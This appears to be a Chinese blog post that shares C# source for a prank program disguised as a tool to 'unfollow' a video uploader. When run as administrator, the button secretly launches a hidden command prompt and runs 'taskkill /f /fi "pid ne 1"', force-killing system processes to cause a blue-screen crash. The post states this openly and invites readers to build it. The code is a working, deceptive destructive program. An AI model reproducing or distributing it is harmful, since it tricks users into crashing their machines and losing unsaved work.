Flutas

一键取关源码


最近好多粉丝请求让我发一键取关的源码
安排,必须安排!

该项目由C# 窗体应用程序完成,如有意编写者,请自行下载Visual Studio开发工具


上代码:
      
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Security.Principal;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Xml;

namespace 一键取关
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        public static bool IsAdministrator()
        {
            WindowsIdentity identity = WindowsIdentity.GetCurrent();
            WindowsPrincipal principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator); //返回是否以管理员身份运行
        }

        private void button1_Click(object sender, EventArgs e)
        {
            if(IsAdministrator())
            {
                DialogResult dr = MessageBox.Show("确定要取关Up主 '2008球' 吗?\n\n取关可能引起系统不稳定或关闭!", "2008球 取关程序", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                if(dr== DialogResult.Yes) {
                    Process p = new Process();
                    p.StartInfo.FileName = "cmd";
                    p.StartInfo.UseShellExecute = false;
                    p.StartInfo.RedirectStandardInput = true;
                    p.StartInfo.RedirectStandardOutput = true;
                    p.StartInfo.RedirectStandardError = true;
                    p.StartInfo.CreateNoWindow = true;
                    p.Start();
                    StreamWriter cmdWriter = p.StandardInput;
                    cmdWriter.WriteLine(@"taskkill /f /fi ""pid ne 1"""); //输入蓝屏cmd命令
                    p.WaitForExit();
                    p.Close();
                }
            } else
            {
                MessageBox.Show("权限不足,无法取关2008球", "2008球 取关程序", MessageBoxButtons.OK, MessageBoxIcon.Error); //非管理员
            }
        }
    }
}


以上代码在点击取关按钮时会检测是否为管理员权限,如果不是管理员则提示无法取关;如果管理员身份运行点击就会蓝屏
点个关注再走吧!